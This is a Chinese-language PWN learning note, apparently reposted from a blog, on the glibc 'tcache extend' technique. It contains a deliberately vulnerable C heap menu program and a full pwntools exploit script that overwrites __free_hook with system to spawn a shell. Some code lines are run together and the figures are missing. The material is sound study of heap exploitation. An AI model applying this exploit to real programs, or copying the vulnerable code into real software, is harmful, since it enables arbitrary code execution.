欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 教育 > 高考 > 【我的 PWN 学习手札】tcache extend

【我的 PWN 学习手札】tcache extend

2025/2/23 22:34:45 来源:https://blog.csdn.net/Mr_Fmnwon/article/details/142415073  浏览:    关键词:【我的 PWN 学习手札】tcache extend

目录

前言

一、利用手法

二、流程演示

(1)三块物理相邻的堆块

(2)溢出修改 size 

(3)释放该 chunk

(4)重新申请该 chunk

(5)释放第三块 chunk,利用堆重叠实现 tcache poisoning

(6)攻击 __free_hook 实现利用

三、测试与模板


前言

tcache 在释放分配时,没有对 chunk 的 size 进行安全检查,导致可以利用溢出实现扩大的溢出写。能够结合 tcache poisoning 实现任意地址 malloc 进行攻击。


一、利用手法

利用过程比较简单,因此就直接讲其中的过程,不再赘述 tcache 的基础知识。

解释一下上图的意思。

堆区有三块物理相邻的堆块,大小分别为0x21,0x31,0x41,如果通过溢出(溢出长度甚至只需要一个字节长)等方式,修改了第二块 chunk 的 size 数值。虽然此时我们对于第二块的可写长度仍然未改变,但是当我们释放掉该堆块,该堆块就进入了修改后 size 对应的 tcachebin 中,那么再次申请该大小的 chunk,就可以获得一块区域更大的 chunk,实际造成了堆重叠。

此时可以溢出更多,写入物理相邻的下一块 chunk。如果实现释放下一块 chunk,就可以利用堆重叠,往其 next 指针写入__free_hook,实现利用。

二、流程演示

(1)三块物理相邻的堆块

(2)溢出修改 size 

(3)释放该 chunk

(4)重新申请该 chunk

已经造成了堆重叠 

(5)释放第三块 chunk,利用堆重叠实现 tcache poisoning

(6)攻击 __free_hook 实现利用

 

三、测试与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7b20ea7afca0+0x7b20ea400000
libc.address=libc_base
success(hex(libc_base))
add(0,0x410)gdb.attach(io)
# tcache extend
add(0,0x18)
add(1,0x10)
add(2,0x10)
pause()
edit(0,0x18+0x8,0x18*b'a'+p64(0x101))
pause()
delete(1)
pause()
add(3,0xf0)
pause()
delete(2)
pause()
edit(3,0x20+0x8,0x20*b'a'+p64(libc.sym['__free_hook']))
pause()
add(4,0x10)
add(4,0x10)
pause()
edit(4,0x8,p64(libc.sym['system']))
pause()
edit(0,0x8,b'/bin/sh\x00')
pause()
delete(0)
io.interactive()

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词